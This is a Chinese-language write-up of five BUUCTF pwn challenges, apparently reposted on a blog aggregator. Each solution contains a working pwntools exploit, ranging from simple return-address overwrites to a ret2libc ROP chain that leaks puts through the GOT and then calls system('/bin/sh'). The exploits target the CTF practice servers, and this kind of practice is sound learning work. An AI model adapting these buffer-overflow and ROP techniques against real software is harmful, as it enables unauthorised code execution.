BUUCTF PWN部分題目wp


pwn好難啊

PWN

1,連上就有flag的pwn
nc buuoj.cn 6000得到flag

2,RIP覆蓋一下
用ida分析一下,
在這里插入圖片描述
發現已有了system,只需覆蓋RIP為fun()的地址,用peda計算偏移為23,寫腳本

 
from pwn import* sh=remote('f.buuoj.cn',6001) payload='a'*23+p64(0x401186) sh.sendline(payload) sh.interactive()

 

得到flag

3,warmup_csaw_2016

先拖進ida

找到了system地址

下載libc.so

用peda

找到ebp位置,需覆蓋64+8字節,寫腳本

from pwn import*
#sh=process('/home/harmonica/Desktop/warmup_csaw_2016.dms' )
sh=remote('pwn.buuoj.cn',20035) payload='a'*72+p64(0x40060D) sh.sendline(payload) sh.interactive()

得到flag

 4,ciscn_2019_c_1

棧溢出,查看保護

 

經過分析,需覆蓋0x58字節,本來這題想不用給的libc,但用LibcSearcher找不到這個libc,還是去下了一份

查到/bin/sh位置

 

寫腳本

from pwn import *
from LibcSearcher import LibcSearcher sh=remote('pwn.buuoj.cn',20115) #sh=process('/home/harmonica/Desktop/ciscn_2019_c_1.dms')
ciscn=ELF('/home/harmonica/Desktop/ciscn_2019_c_1.dms') libc=ELF('/home/harmonica/Desktop/x64_libc.so.6') def send(content): sh.recvuntil('Input your choice!\n') sh.sendline('1') sh.recvuntil('Input your Plaintext to be encrypted\n') sh.sendline(content) puts_plt=ciscn.plt['puts'] puts_got=ciscn.got['puts'] main=ciscn.symbols['main'] pop_rdi=0x400c83 payload ='A' * 0x58+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main) send(payload) sh.recvuntil('@\n') puts_addr=u64(sh.recv(6).ljust(8,'\x00')) #libc=LibcSearcher('puts', puts_addr)
libcbase=puts_addr-libc.sym['puts'] log.success("libcbase: "+hex(libcbase)) system_addr=libcbase+libc.sym['system'] binsh_addr=libcbase+0x18cd57 payload ='A'*0x58+p64(pop_rdi)+p64(binsh_addr)+p64(system_addr) send(payload) sh.interactive()

得到flag

5, pwn1_sctf_2016

拖進ida,c++程序,找到主函數

 

 程序中帶了system

運行程序

 

當輸入'I'時會轉換為‘you’

fgets溢出,寫exp

from pwn import * sh=remote('pwn.buuoj.cn',20086) get_flag=0x08048F0D payload='I'*0x14+'a'*4+p32(get_flag) sh.sendline(payload) sh.interactive() 

 

 得到flag

 

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM